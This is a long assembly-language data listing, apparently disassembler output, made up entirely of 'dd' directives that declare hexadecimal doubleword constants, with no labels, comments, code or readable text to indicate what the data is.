dd 9633C707h, 5EC0385Ah, 0E46FB3B1h, 60BA0385h, 0AB814986h
dd 0ECC446B0h, 374D2A00h, 3F47F007h, 623900B1h, 965A845h
dd 0E804FB0Ch, 0D6E604CCh, 0A3D4B0h, 9081AFA4h, 196C3311h
dd 871D8096h, 32A69B40h, 1AD85Bh, 591893ECh, 9F83AEA1h
dd 0BFF36400h, 58860AD3h, 0B63200E0h, 540D2096h, 0CD605FD9h
dd 8C889E30h, 11E60984h, 0D08114C0h, 22252DBEh, 32070088h
dd 9603F399h, 3E7898B5h, 0BCCA1F5Fh, 97A500A0h, 8FD186E2h
dd 44D500ABh, 9AD21559h, 1C5D7A8Ch, 0E0700450h, 28F54175h
dd 311F4F4h, 0A4E76252h, 0ABC86D45h, 9C02A73Dh, 0A9E4B7C2h
dd 26926016h, 0A6680EC3h, 69A075D9h, 0B99E3CFBh, 0CB2F1D2Ch
dd 40DF490Eh, 0DB7BEBC1h, 0ECF4B8B8h, 4B870073h, 0CC90E512h
dd 5EF0B6EAh, 0F0587774h, 2DAD80D4h, 0B19116h, 5C513C9Bh
dd 7AB958C6h, 7745EE02h, 5414F947h, 2A2800E8h, 73535D97h
dd 8F90B400h, 0D0D374B8h, 113000F0h, 64FC3610h, 0D94C1E07h
dd 970C006Ch, 0B150A883h, 93D50027h, 0D0145E75h, 0D912A9ECh
dd 600235C7h, 30EBAAFBh, 0ED13633Ah, 0DC001D9Bh, 0AF8D558Eh
dd 0B55400D3h, 9DBD0934h, 4005264h, 5720CC39h, 1ED8A9Ch
dd 7A3C4D91h, 7085DC9Bh, 0B990E5D5h, 0E2163F03h, 0A13DC8F6h
dd 0A8D06327h, 6C7F1CC6h, 0DA2C24h, 53D10160h, 0DB008807h
dd 0A22F4D9Ch, 8C74C7h, 24CF5491h, 1A9D42DDh, 31DBFE33h
dd 9A80F8D5h, 0B09500DEh, 0A320A9B5h, 2500F762h, 0B1CF5113h
dd 3B16807Eh, 7D80D7EFh, 0B7542AD1h, 0BB1C7097h, 779CCE0Fh
dd 0BFDE1202h, 2A5EE0DAh, 417EE38h, 81A78A99h, 0B923h
dd 0DAFBBD67h, 1FE62211h, 137E0C9h, 66312BAh, 14A030B3h
dd 0F5019B00h, 0DAFFB915h, 0B18B3823h, 0C3F4E200h, 0B696F813h
dd 0E1FDFC00h, 7C521D7h, 0B37C0498h, 0B92CBAE2h, 25711694h
dd 820CB4h, 341866F4h, 3516747h, 22186160h, 1768604Eh
dd 0D73F0A23h, 6648F0A4h, 7F0E97BFh, 80C7B37Dh, 0EAFFC37Ah
dd 254E077Bh, 0D002F3EBh, 0EFB22EAAh, 0FD507F7Dh, 0BD036820h
dd 0FC035F15h, 1FCFB165h, 6F38A1F2h, 59A35261h, 0C2BD8A5Ch
dd 3DA00018h, 1656445Fh, 25F045E8h, 1578A09Fh, 0DE0BB2h
dd 8C0C0A04h, 0E36483F2h, 2BB37B0Eh, 211AA0D8h, 4DF016Ah
dd 0D0CEFC53h, 0B33BC091h, 0F0088D7h, 8556205Ch, 0FC76EC96h
dd 0E9A60075h, 0B9D6BDA1h, 3200CC53h, 30225912h, 27AF8C27h
dd 0F8E8F1E2h, 13382945h, 6A57047Ah, 0B88035CAh, 0C3BBA1h
dd 843A74E9h, 2508EAD9h, 0CB9DA600h, 0BC3ED14Eh, 766926CEh
dd 95A800E5h, 0D6A3DFF8h, 0D3796706h, 6132F2h, 3A400CF3h
dd 0CC36AAC3h, 0DAE0C203h, 0A023C887h, 3FDDBB8Ah, 0B88FA5F3h
dd 0D500CC2Ah, 4047A798h, 0E4D4DB03h, 0F863F218h, 5C295D2h
dd 3529F6AAh, 80E4AC69h, 78FF8805h, 3F3D02B0h, 0CAE5B5B9h
dd 39EE2C60h, 20B7EF75h, 1018E828h, 41C92497h, 86C38010h
dd 0AF70E9F6h, 0A2E3A801h, 0B10158DEh, 9226C540h, 9B57F94h
dd 1F398BBFh, 0BCA30302h, 0C4FAC4E1h, 0A40093C6h, 0B39D38B4h
dd 0C33BACh, 5B3CA821h, 0FA3F1E6Fh, 0F2ED77Ch, 0CD0F77E2h
dd 0E5560131h, 44BD6EEh, 0D4B6DD80h, 20CE210h, 195934DCh
dd 0A271309Fh, 10A87B28h, 39E77F30h, 9D5105h, 227C9FF9h
dd 236D6883h, 0EF6E17E8h, 9C76C020h, 0F356951h, 0A6BD5F3Ah
dd 9B6BE583h, 0CB7C7913h, 9E904500h, 0A03C445Bh, 4465CF5Ch
dd 0E63EF6E3h, 2E4700C2h, 0E89DD1C4h, 75575868h, 0B631DB30h
dd 5A00A5F9h, 9306FB43h, 0E807C359h, 1B21C0D8h, 0D09AA712h
dd 0C4E67203h, 0E09F91A5h, 60EA1C5Bh, 17E580C7h, 0B40F01C6h
dd 0A03EDCACh, 52D1F2EFh, 30647E63h, 0E588E3A9h, 8C0031FFh
dd 55C425BDh, 53145AD9h, 0E7201C02h, 0EC505D98h, 8F3F6B88h
dd 1C4B806Ch, 4AFAAB82h, 7659077Ah, 110CCCEh, 80D71994h
dd 17655140h, 6ECA14h, 5DBEA1E6h, 30216104h, 2F475C00h
dd 7898749Ah, 9E250010h, 43C7CFF1h, 0F8011179h, 672C5C48h
dd 0B45180FBh, 0E6706283h, 0E97600A2h, 17FFC4DCh, 8E002932h
dd 5632D53h, 7B0676Ch, 611C479Eh, 93FCB3D7h, 0DF8E4100h
dd 5B014441h, 13E619E3h, 82BC0803h, 42195121h, 5918E005h
dd 0C2723066h, 8EE614C8h, 0F07BEBE4h, 26DAB703h, 0CDEC5328h
dd 1CDCC40h, 4D7F1Eh, 901DE439h, 7E9FA575h, 38281C3Ah
dd 4F6900CDh, 1940FE1h, 34301492h, 970CBC2Ch, 768C731h
dd 4B51EA60h, 70B8CB8h, 61823251h, 0DB43F03Ah, 0D0010DDAh
dd 93FFCC3Fh, 0B449CA7Dh, 80DA1453h, 0A49F6A6Ch, 0FB262180h
dd 49420E81h, 0A2180301h, 1826AE88h, 180B5742h, 839D141Ah
dd 2A4E069Ch, 0AC6E58h, 681F638Dh, 0BBBDBE36h, 0EE118891h
dd 11D7600Ah, 41F3C0BCh, 0FB210150h, 8F91E2h, 0D9422C6Dh
dd 8623ABh, 4B77B40Fh, 49C887Eh, 0BB351003h, 9025FBB8h
dd 7682E0h, 9D5B05F3h, 0ECE191AFh, 0A6731900h, 0A7206CBDh
dd 4055001Bh, 0C730B59Eh, 0C3078D81h, 0DF50C65Dh, 2B783D70h
dd 77B607FDh, 0A0DCB3F3h, 0BAA77F38h, 3709CB00h, 6C6514C1h
dd 7B3A00AAh, 0B2DDFBF2h, 7009056h, 7234BB9Ch, 3B4D8BDh
dd 2306C8E0h, 0E9E0A70Bh, 9A3085F3h, 1684581Bh, 3CF9035h
dd 86402F89h, 8301F9Bh, 2DF0213Eh, 25EC069Fh, 5EA3633Fh
dd 6B82CD00h, 74EBB485h, 7628C0F8h, 0D64552D3h, 0A6385F0Fh
dd 0EFE9391Bh, 8B242180h, 9962C146h, 9822C528h, 7E93F600h
dd 0E0CFB641h, 0B538026Dh, 2E5B1ADAh, 828E30B5h, 0C075FEh
dd 0A2A1C49Eh, 9B5CB2h, 4CBC02CDh, 10535F38h, 0BB05D67Ah
dd 4560EC77h, 5240885Ch, 1A057ADCh, 0E220C0F9h, 896B181h
dd 241CB0C0h, 30F0A04Dh, 0C179FA74h, 5300683Eh, 8FBC169Ch
dd 420E07Dh, 78C2819Dh, 0FD9C80BAh, 0D2073715h, 3403F7FAh
dd 681B6440h, 1817059h, 279A86B3h, 0D19E3E8Bh, 51218A82h
dd 0A900FC61h, 7D08F6F9h, 175D3A29h, 0ED64FC80h, 75B6862h
dd 0F300AA76h, 937B5779h, 5D854FAh, 0EED047C2h, 6071C0FCh
dd 290CAA65h, 88241D3Bh, 6044314h, 0B3D38162h, 87448980h
dd 816A4810h, 0B5AAFD00h, 0D27AC22Bh, 0B78203BCh, 0FB04D20h
dd 8E1D54D9h, 4707A699h, 0FBC043C8h, 0C0990671h, 75D30249h
dd 581D234Ah, 3FC09EC5h, 50719074h, 60ABF057h, 0CBB5A01Fh
dd 0F000375Eh, 0B7106533h, 31BC21Eh, 0D1BE9208h, 5078FE30h
dd 5D164898h, 2D03B7ADh, 18FA7F34h, 20652208h, 5C00EC3Ah
dd 9E355EAEh, 302E3802h, 0A6C06FDEh, 0B760721Fh, 1A3ABEA8h
dd 0CD18C336h, 41003053h, 0D369827Fh, 0B05F342Eh, 0F2FA00CAh
dd 0CB8D2C21h, 0AE6012DAh
dd 0F027FC28h, 0C89000E0h, 0F1BC4A98h, 740481A6h, 0B036317Fh
dd 0FDADA8C0h, 7B100CEFh, 0D439D517h, 406C100h, 874FDB37h
dd 0F3320E42h, 390119BAh, 3C9F0A65h, 9B79038Eh, 0B11BF896h
dd 419CC113h, 5BF500C4h, 0FE949F57h, 8E74133h, 72101B0h
dd 76B5F5D9h, 0ABD05011h, 0D500785Dh, 0E59B12C8h, 1C7E8E1h
dd 0CAFAA82Bh, 0C0604DA6h, 0E6142107h, 4090D5D9h, 28CCCBCh
dd 0B7AC5D04h, 2519C802h, 5CF13F10h, 52A3350Fh, 206BA0E4h
dd 28BB952Ch, 1CEC3E07h, 40829E56h, 0C61D2439h, 18C0412Eh
dd 0CBB24BD0h, 1010604Eh, 532B9E5Ah, 105C3A49h, 60C003EEh
dd 6EB3D981h, 6F229A43h, 81684A00h, 4FEFE792h, 0D9CB0260h
dd 0BCB9AB5Eh, 19C0F89Ah, 0D2C987Fh, 790158C2h, 388BEA7Ch
dd 59E4EC8h, 0D954B2E7h, 58188603h, 837D3100h, 0B70A802Eh
dd 5C8F499Ah, 8AFAC20Eh, 8458A02Ch, 0B25046F6h, 3B18B5A0h
dd 89184C7Ch, 7A631508h, 7DC81Ch, 0A704BDA9h, 9EC11E8Ch
dd 13087466h, 0E1E80021h, 115783BEh, 0FD003650h, 84E7EC1Dh
dd 7671FA5Eh, 0D47D31A6h, 0E396B768h, 3A43949Ah, 0E62B57C0h
dd 0BC0C087Fh, 19B6CF9Ch, 9ABF0CFCh, 0B3D0FF7Dh, 22A3AB14h
dd 137B3EB8h, 7504FC83h, 0B88B9073h, 6DC026C8h, 215BF66h
dd 8AD13BF8h, 944411CCh, 29504E00h, 0CE63B5BCh, 12E83Fh
dd 0C7080B2h, 9BEB81B1h, 0F9F81800h, 610871BAh, 880909Eh
dd 8A311C19h, 0F280C711h, 0EF5765F5h, 0FDC8448Ch, 4DF5CA01h
dd 5EC428DEh, 4BD0D60h, 3A5657A2h, 9D2C8050h, 1A49BBB3h
dd 4B8E0A38h, 905E830h, 26E82ACEh, 5EBCF724h, 0EF00AC46h
dd 83ED107Ah, 5A149EDCh, 9D89D25h, 38440DDDh, 9298060Ch
dd 873E005Ch, 0F16770C4h, 8303C028h, 0F3DEDCA4h, 5B20E8CAh
dd 0CBBE2B95h, 5CED01CCh, 18FAB0C3h, 0F23C882Ch, 3EBE5C01h
dd 0E40110F9h, 16B2C020h, 3A2438D2h, 16F234Ch, 0A76348DEh
dd 1125E80Ch, 5028FD02h, 489F2E53h, 0AD903474h, 8A484054h
dd 6115845Ah, 18A8BE17h, 4080B64h, 0E91D01FEh, 6AABD18Ah
dd 88627Ah, 6299EF66h, 3CE7F7h, 137F3951h, 72BF8779h, 0BAD91B00h
dd 1DDA2022h, 0D6D0C03Dh, 88466B5h, 68595C0Eh, 90DD5EDBh
dd 0BE67EC0h, 0C9BB127Bh, 79836381h, 0C2B31C88h, 25A6DFB9h
dd 0E4C840D4h, 9E540409h, 0D51C2290h, 0B0C00DD0h, 0E5F7A6C4h
dd 936706F3h, 0B1214829h, 53AD58h, 0AE36DAFAh, 1DBFB9Ah
dd 0DC0EB1C7h, 35FF0733h, 0B3208040h, 81CF849Ah, 24C899C6h
dd 8F6A1124h, 0A70361C2h, 320C1FC4h, 0DAE188h, 13D157BDh
dd 8AB478AEh, 0E0F89C03h, 4BCB099h, 2652B9E9h, 93808032h
dd 2B401ECBh, 7F8A17D0h, 0EA20212Dh, 81CC0D03h, 8EB324F5h
dd 6C767018h, 0B1018100h, 7996CC56h, 4ABB1D0Dh, 0F57041F0h
dd 30E16186h, 0A88B805Ch, 9082CE53h, 0B6681B24h, 0C8581988h
dd 0C0CE8804h, 0B0C25D0Ah, 0E0481258h, 25CEF39h, 0E3DFE27Ah
dd 9F8F423Ch, 3F33B302h, 8490F044h, 7E177F20h, 558A09DDh
dd 6A0CFBBCh, 1D1C3A49h, 12C0F5D7h, 79159A8Ch, 0F65A00E1h
dd 6AFA884Fh, 3033A0F8h, 80D93132h, 3C8CC26Dh, 0A8AB934h
dd 0B2ECFEF0h, 14C95060h, 0F26C1036h, 0F6C93DFDh, 0FEB3DA04h
dd 5C0CCCA0h, 45211C00h, 0C63C014Fh, 0E8D3082h, 89413DECh
dd 97FF9D3Fh, 0D021644Eh, 3D113671h, 0B4431710h, 5EA10003h
dd 0BD45543Fh, 1E590C31h, 0B7057C08h, 37E3CB6Fh, 0AB5680BFh
dd 6192067h, 69A8A7FAh, 591F83F0h, 0B4027C1Eh, 0D7F0CE8Bh
dd 766D70C8h, 0BDAF0F86h, 88D1A702h, 0C7DA8016h, 233873BEh
dd 6DE5201h, 25C3B3B2h, 0E02BC442h, 0BA6EB5B4h, 6810ED9Ch
dd 0EC00DD35h, 2AFA3D12h, 5D8D407h, 0C811245Ch, 0C61482A2h
dd 5AC4F531h, 22F74657h, 0CDFA24ADh, 8BBE0145h, 0D0F2021Dh
dd 94A82F30h, 6E00B648h, 359B6AE4h, 0ED47FAh, 0C3E02017h
dd 255CACC6h, 59982904h, 64A48A65h, 69B90199h, 3E2BC804h
dd 0FDF18018h, 0C68987E2h, 9C76281Fh, 0B71118A8h, 0B6DA2028h
dd 64C8B505h, 78CBBD4Bh, 9FC087C8h, 0C0C01759h, 45321AD9h
dd 4300E8C5h, 687F05FFh, 136CBAC9h, 20A99870h, 0E784EFB0h
dd 3188649h, 0B2FD255Eh, 0C03BEABBh, 80412390h, 209627F7h
dd 6086465Eh, 0A6F23F7Ch, 0A81E5834h, 18CC9E8h, 0C1D6AB51h
dd 72069231h, 0A25D07C8h, 0AE55F313h, 6C20C013h, 0FEFE098Bh
dd 0D9430727h, 0DC7E985Bh, 56175951h, 7404FD12h, 80D19553h
dd 68D8420Dh, 0A7BF1BFAh, 0F02B61A9h, 6501C4EBh, 66B3F481h
dd 88A07848h, 81766D75h, 23DCBD05h, 0A4CEA80Bh, 2DC02E88h
dd 5D263BB0h, 84221078h, 99AFF000h, 7B9D4476h, 323A2C73h
dd 0AA14008Ch, 0DD916064h, 2875F95Ch, 0DA21B41Ah, 17A4A012h
dd 39D75766h, 0F5D1E498h, 0C0DD9700h, 0C53A2B76h, 0D7670435h
dd 80236E52h, 4C83B36Ch, 9CFB4326h, 0C379B429h, 0F200ED18h
dd 29245130h, 7136C6DBh, 0E893602Eh, 9F1A1F1Eh, 5B628C92h
dd 48267939h, 3FA35EA0h, 0FD803105h, 4B6AF88Ch, 409C3C29h
dd 12F5E747h, 576CB0C0h, 0C0945027h, 3048CCDh, 4AB7A95Dh
dd 3E202062h, 2725CF8h, 11157B32h, 68E0AEF6h, 76099029h
dd 80EC6ADBh, 4F32C748h, 401F4CAFh, 0CC4CD849h, 8C16E8h
dd 31FA3785h, 0D9E627D8h, 0D084E702h, 6BA92AFBh, 3630B1ACh
dd 218EA183h, 97E8BD68h, 3B0095EDh, 5FAD344Dh, 51CB9AD7h
dd 0E1C8D420h, 8CC10523h, 0DBD2E98Ah, 57C6C0F4h, 19C770h
dd 0E1762971h, 865901E4h, 68346330h, 4ED4E59Dh, 0D6F440A7h
dd 31455DC0h, 28BDB92Ch, 608E2389h, 90809B44h, 689A01B0h
dd 982064F9h, 0D906D8C1h, 3B54178Ah, 0B20F05C6h, 9C00DC7Fh
dd 338E5963h, 0A9A0C537h, 88088E72h, 1EAEC0AAh, 43E81C81h
dd 980194Ch, 0A1A69AA4h, 0B3789930h, 0A8BF3186h, 1D389136h
dd 3023B0C6h, 16AC32E5h, 30134129h, 0D90F5B00h, 99B5D61Ch
dd 0A24288CEh, 85D2B710h, 7C30888h, 8882F4F2h, 444067DBh
dd 0EA71606Ch, 5F280F86h, 0CCE1FDAFh, 8ED9B699h, 241F04B1h
dd 0B480D672h, 8195E7Ch, 283E29ABh, 0FB1DFD80h, 0DF895640h
dd 412B03F1h, 207B09A5h, 0F4B36EF0h, 0EFBDAE01h, 6438A4A6h
dd 0BEC6DDB0h, 72D2C000h, 0B20BE9CFh, 28689237h, 13C572Bh
dd 0F1DCF69Bh, 297F99FBh, 0D2141E4Ch, 0D4044F01h, 39803453h
dd 72292DC3h, 3C00B822h, 31BAA3CCh, 0B2DECA1Dh, 0D1809134h
dd 16B818ADh, 101FA6BAh, 0FF0B9036h, 70AA953Dh, 184674F0h
dd 0CDAB0402h, 68E0F24Ah, 1500595Ch, 60EC4F98h, 3BFDBADEh
dd 0A14A93Bh, 0D8235CA7h, 60F5D301h, 0C518E757h, 73CBA488h
dd 0BC1507F5h, 909A8A01h, 0CA578C7Eh, 0AD89EF25h, 4DE0D81Ch
dd 0D5AC80B5h, 1C9B9D24h, 0B0903092h, 0A7279DCh, 0D1EE76B8h
dd 6BC340BCh, 194A10E2h, 0EFCE1443h, 3C00F760h, 0B0AAABF0h
dd 24E4BACh, 58AE0914h, 0A05914C2h, 0A418B7D1h, 7F873917h
dd 73E8B000h, 268464B5h, 1228B660h, 0D3900934h, 159E4091h
dd 3DDAC004h, 0A9F7A03h, 110D804h, 20B38807h, 823026B2h
dd 0B9DA00DDh, 67D0B8EDh, 0F41FBAC4h, 0EE437916h, 48331E10h
dd 1A187831h, 0E0D9A067h, 253F2A2Dh, 541C06C0h, 0E33BADC0h
dd 0E38B05Fh, 0E4135CBBh, 596AB980h, 28B1B279h, 0DE183FF1h
dd 12F46000h, 6F3A827Ch, 8BFD00BBh, 0D22E0EF7h, 561F5A24h
dd 0ABB516Ah
dd 0BCD71218h, 16ECF481h, 7EF437D8h, 0CB2D1671h, 847800A8h
dd 85122A23h, 0A655909h, 5E1818CDh, 0A73D1F41h, 12F51263h
dd 0C5B80804h, 67D1F4C7h, 0C73FF57h, 0F5CCFB80h, 81004A2Bh
dd 795F77FDh, 0E85912h, 1C202D9Eh, 5D7FD602h, 8CE5822Ch
dd 0E607A6C1h, 0B713A83Ch, 234C3A86h, 6E570419h, 46538011h
dd 0D5295ABBh, 902DD4A6h, 0B15908h, 5715E4DFh, 0E21E8CA9h
dd 0B099D312h, 0EE91B891h, 30808863h, 0BF413148h, 1707980h
dd 15C59B74h, 74071DCCh, 5316B554h, 20C0969Eh, 6F8AFA5Bh
dd 0F380E989h, 77107450h, 0E52AF913h, 306C4832h, 914BEE0h
dd 887874A7h, 0D8DB800Ah, 2658C7BDh, 0C253605h, 0B0E067B7h
dd 72452CF9h, 18A83Ch, 0A9B5EDE0h, 0CFA6CB5Ah, 1CB65526h
dd 9A7D5902h, 0B0CC9BAh, 0DC60424h, 7E7223B0h, 0B953C040h
dd 925A0092h, 2623042Eh, 1E821000h, 6E2C39h, 7F552FDCh
dd 0B61C5378h, 0F0C7AF24h, 388BE213h, 0C3C332C8h, 4F15A022h
dd 0BEF04C78h, 0CBB34103h, 580518EAh, 0FF6F5D42h, 8CED48C8h
dd 0F2816B05h, 9CCE96B3h, 81737701h, 0E8FBC50Dh, 62025C3Fh
dd 11FCB535h, 3A1448B1h, 4479AFh, 8848BB42h, 4EA1984Ah
dd 0E88BD51Eh, 61544500h, 0FB962BB6h, 6601002Ch, 53206507h
dd 43945028h, 0A500C6C9h, 0F8307EB7h, 0FBAD9Bh, 0BC02B886h
dd 403E3CFh, 8993761h, 6820BE7Ch, 598882Ah, 737F1A00h
dd 0D225EE74h, 6AD43BA4h, 0D8D77C80h, 0ABFBE261h, 50A67894h
dd 0B6C2FF05h, 0BEB5D844h, 31F97CC3h, 1719B161h, 0B0E983AFh
dd 0F8EE5150h, 0F6446Bh, 421D3926h, 13127B17h, 90D34A27h
dd 0FAF19298h, 278A0904h, 0A89053EBh, 0D09D780Ch, 0EBB00D8h
dd 5A7FB7EAh, 63735976h, 985C9E00h, 0F45BCAB9h, 77B3711Bh
dd 25CB42Fh, 38D28CAAh, 465CE428h, 76A10382h, 0F0CE74DFh
dd 5F531226h, 24813B6h, 0F0375F70h, 60F8DB27h, 5761F5D6h
dd 0CC2CCF5Fh, 0BF5F801h, 0B78469E0h, 39927049h, 79E2AC14h
dd 0CFAA16C9h, 0E82490DDh, 0CA26D0B9h, 0CC1C2C56h, 78B78246h
dd 0AC5E4F69h, 0F1D3078Fh, 0BAA230B1h, 11908FC7h, 0D6816780h
dd 448C76B3h, 6F004B83h, 0A8CE4581h, 0B5CA74Dh, 6B8E595Fh
dd 0A8820E0h, 0C90EFEE4h, 0E2B777E8h, 6ADC3BB5h, 0E0D44D5Ch
dd 3170817Dh, 0F58FE201h, 958E8DF9h, 1ACB9020h, 0F05A21E6h
dd 0CFCD3C40h, 5653F805h, 0D8214CC2h, 0C00005ABh, 0B6265BB8h
dd 1100747Eh, 0CBB53F1Dh, 20C86366h, 7D98EA65h, 951E23h
dd 2DA41B14h, 1DCD0415h, 904B29B9h, 5AEF82ACh, 0F492000h
dd 0E0F470FBh, 411CA67Eh, 2CE9C12Fh, 0BF5888h, 0BCD6FFF6h
dd 5664420h, 61F1D0Ah, 37E001BDh, 96715E26h, 70082440h
dd 6F7E930Bh, 5CE09F8h, 4EB41053h, 210F00C5h, 0B255B8ADh
dd 80F9D2D3h, 3A9EEDF8h, 1FEA8F0Bh, 27D9BA10h, 6C91F897h
dd 0E6153380h, 8870AB79h, 0B38F7204h, 0ECA82AD3h, 0B15B5400h
dd 4D73707Fh, 0AC3BBB05h, 0E881D812h, 3C97B7h, 0B62AB13Eh
dd 62643684h, 485D861h, 0E2F79080h, 0EADB71D7h, 7CF3F0C4h
dd 837CFAh, 0B49BBFE5h, 0BE96BC87h, 3FC4C500h, 7608D016h
dd 0B8CC004Ah, 0B0D7E063h, 0FE13DB88h, 4617FAD4h, 3488D8CBh
dd 0F6003C0h, 0E4BD003Ah, 0AE595240h, 449048A5h, 3D7620A1h
dd 9F710058h, 0CCE4F9A2h, 7A23127Fh, 0A71C4070h, 36563C37h
dd 0E0C2A892h, 40C5CBC7h, 6E01B35Ch, 83A4F8FDh, 7EACAD3Bh
dd 0C8CA933Ah, 8247978h, 0BA086CD4h, 0A1F7821Dh, 209EF16Ah
dd 25DB8423h, 84914097h, 28B7E889h, 0F468EB80h, 145CDFD8h
dd 0F09CD507h, 0D4139C90h, 0CEB4889Bh, 0C08135EAh, 29840AF1h
dd 0AC87F4B2h, 91C68464h, 0C2AC60B9h, 89C67200h, 3B6CA0FBh
dd 9241981Dh, 0C41097F8h, 2103E529h, 0EE5CF389h, 0E2F9D01Ch
dd 0A8F20022h, 0F46D59DAh, 0C343A2Bh, 78B1A1B3h, 0B0F520D2h
dd 0D13C480h, 0C4007F73h, 0D830A060h, 43AB2593h, 0BDD06484h
dd 8C6CA8E0h, 3F9FE10Fh, 59003EA8h, 0B60CA9CDh, 0C019133Bh
dd 886C8ED5h, 0AB73C019h, 4009A38Ah, 5A11E3C8h, 217880h
dd 1ADE86D6h, 5EBAE1D4h, 5000DFF2h, 80D3BDB0h, 59E909D7h
dd 0D0B99CF3h, 232A8653h, 0FE298818h, 0C35924F6h, 97003A18h
dd 9FF47DB2h, 0EF179B85h, 2321A4h, 7A035670h, 6800054Eh
dd 0BABB8429h, 0EFA966Bh, 42529CDCh, 0C4D6CE60h, 0A9735C7Fh
dd 0B5C80A1Ch, 18A40D1Fh, 91288208h, 356F1427h, 0E2CB00CCh
dd 65295094h, 54092B5h, 0DDA1905Ch, 0D0BD12B6h, 0A69E57CCh
dd 8B0148h, 6C24AB55h, 395B983h, 0AA43D3B8h, 0B90EBD12h
dd 8073C33Ah, 5A227537h, 0C22E1DFh, 0D568D800h, 0A63C22Eh
dd 6F216C98h, 0BDAD8F76h, 62ACA744h, 0C5DC203Fh, 2A0001BEh
dd 0C4F687Eh, 1FBFDA21h, 49955D84h, 7010B710h, 0B6268B51h
dd 20056463h, 38C1915Bh, 0CC849968h, 0BC38C569h, 8C6CE8E8h
dd 8F12EC00h, 538B2C96h, 95E80963h, 9420FBB3h, 0F6367354h
dd 82DC8995h, 0E1CDC820h, 20D49C38h, 719E305Ah, 26BA6581h
dd 6C2CC8A4h, 0CA130CFDh, 5D061460h, 0F2B72FAEh, 3D001416h
dd 6D75CEBh, 12726C37h, 0B68A117Dh, 0B70B0CCh, 0D5C901A7h
dd 8EF762A8h, 1ECC6052h, 0CCDC234Bh, 54158275h, 7D802511h
dd 0BF8D1731h, 0C205FB00h, 0FA3AB9B0h, 26E41288h, 0AE14D003h
dd 0BF24DD95h, 0CE8018DAh, 4AEAAB98h, 0CC0A0460h, 9258FB1Dh
dd 94408FA8h, 8413B924h, 24D01108h, 2AFF44Fh, 4C2BE5BDh
dd 985CB24Ah, 699D038Ch, 903B3850h, 79CB007Ah, 0E7F1958Bh
dd 5A484084h, 249A4A50h, 4D2E17C0h, 27152AD5h, 802D53h
dd 0DB7AFCB6h, 0EDE064h, 0C3626E1Dh, 59BC1FB9h, 5DA9E804h
dd 6B4F3306h, 89BD2740h, 5B028848h, 0F5ECE08h, 0D178F9F0h
dd 21F18ACh, 0C382097Ch, 68832676h, 5D901DDAh, 6F1D777Eh
dd 0C8441E71h, 28B3FDF3h, 0C830C9A2h, 21DEAF6h, 0EFA6ABFAh
dd 0C47C9F69h, 0F82F8992h, 0A2013423h, 1A27D6FDh, 1241EC60h
dd 2F284E8h, 0D27BEAACh, 0D641CC7h, 73A4C660h, 4A23B70Ch
dd 13A64897h, 0B4C19DE7h, 8343C298h, 33300DE2h, 98E9702Ah
dd 25631338h, 0F020E61Dh, 0FF3A74h, 0EF194E95h, 930E1584h
dd 0D14C5905h, 0ACD0C77Dh, 2E183ECh, 0D6A72AF9h, 5C7671B5h
dd 0C8E9400Eh, 58E82382h, 0B100C436h, 2A1FAC40h, 88D43FB7h
dd 19D7E8Ah, 2DCF26B4h, 0B52C1C2Ch, 9A868E8h, 35B13Dh
dd 2B810A11h, 0D0B80C18h, 0D4A899D2h, 0D6401FB7h, 0D8BE2692h
dd 5CF0C044h, 0E221B7A8h, 2191C6h, 585CED73h, 56D82886h
dd 0FD02A0F6h, 6AA67E3h, 6F007CC4h, 0DE4DD01Ch, 340E01Dh
dd 8A7FF19h, 9DC10AF3h, 64402F30h, 60137DCFh, 0B6DC056Fh
dd 46542AA3h, 0D10B79A8h, 0C66ACE03h, 88C32FDDh, 0ABA7A3h
dd 0F4327F8Dh, 88501EDh, 4671B727h, 9F726ECh, 7A690844h
dd 6BEC360h, 2CDC5BA7h, 0DB00DEC0h, 6256A2BDh, 0E869C99h
dd 2E27F50h, 5B06D9D8h, 0E4E82E00h, 0B74EA1A6h, 706F628Ch
dd 0BC7E04F8h, 9A2BA26Fh, 0E9B8D497h, 0F27084FBh, 132175F9h
dd 0E364B7E8h, 3120B224h, 0CBF03EC3h, 0BB640493h, 90DA1F24h
dd 0A223B108h, 8614A048h, 10C99A93h, 6366A8Bh, 0BB27B65Dh
dd 59730418h, 0EC03378Eh, 8B207B38h, 2DDD2605h, 0A5251F60h
dd 52E470E8h, 6507A202h, 0DFF59BD5h, 391C7E60h, 0EBDF3E01h
dd 2D42B746h, 3EE87470h
dd 60D8DAB6h, 52B9D600h, 462AD4Eh, 30A800B5h, 993119DBh
dd 18ADD1B4h, 20072CA5h, 8654C00Ch, 0C8C9226Fh, 91E4B51Fh
dd 292280C6h, 3A100D93h, 0CB933EAFh, 4250F0BAh, 0D2187404h
dd 0A0A1D4ACh, 0B0B8B46Ch, 56F0178Ch, 0B07D1A9Eh, 2DC705Ch
dd 1D04197h, 0C0E1B3D3h, 80547234h, 7D947F51h, 57B83D38h
dd 0C2B15D80h, 3EEC1D2Dh, 0C912277Eh, 0DA055C56h, 38AD20CEh
dd 0D200BFFCh, 8C6DC58Eh, 101C7C24h, 0A42C97AEh, 24F29C53h
dd 0B930ADE2h, 5F034ED6h, 35F94074h, 183801DEh, 0C3FAC00h
dd 32E07793h, 4C9B0472h, 0C4FCE5ADh, 0B758C124h, 92D4346Bh
dd 8048B597h, 9DC90DFh, 0B24944D9h, 59F8C9A4h, 18B77174h
dd 35860063h, 51982BFDh, 330537D3h, 0F2C2E487h, 91F16090h
dd 421B0013h, 0E72FEB51h, 7C910938h, 0AD09BA92h, 47C1435h
dd 613E9EDBh, 8200B484h, 0FB814B71h, 3A3E1021h, 822324h
dd 97ADD60Bh, 28138E93h, 0CD194BD0h, 90385F58h, 0D9C5E300h
dd 565C351Ah, 0B4985312h, 382024E5h, 12741D7h, 0B5C88h
dd 0E47F4E64h, 0CF27Ch, 49D0645h, 0EF0E4B63h, 8FE57904h
dd 80F8F607h, 0B0D45B13h, 28414628h, 2B0704FCh, 9CC57E7h
dd 0D017F46Bh, 0FD8EC891h, 0D840AE6Fh, 6BD063C7h, 0E016FA77h
dd 0A8F25EE4h, 0F3C44301h, 0E58612C7h, 0F1DAE194h, 3F65FC06h
dd 0DD093779h, 0DBAEF30Dh, 0FC1D7040h, 9E8734B9h, 58E1AA5Bh
dd 1C0CBB8Dh, 0D739CF11h, 0C8508A96h, 0E7B0C018h, 400BB94Bh
dd 9790975Bh, 8026912Ch, 0FCAAE7CEh, 5FB0445h, 0B4105BADh
dd 0A000B748h, 4CCB7DC8h, 0B0D6AEC9h, 0D4475450h, 92232751h
dd 0F1845041h, 4D4432FBh, 0FDB890h, 13A5E495h, 2AB18479h
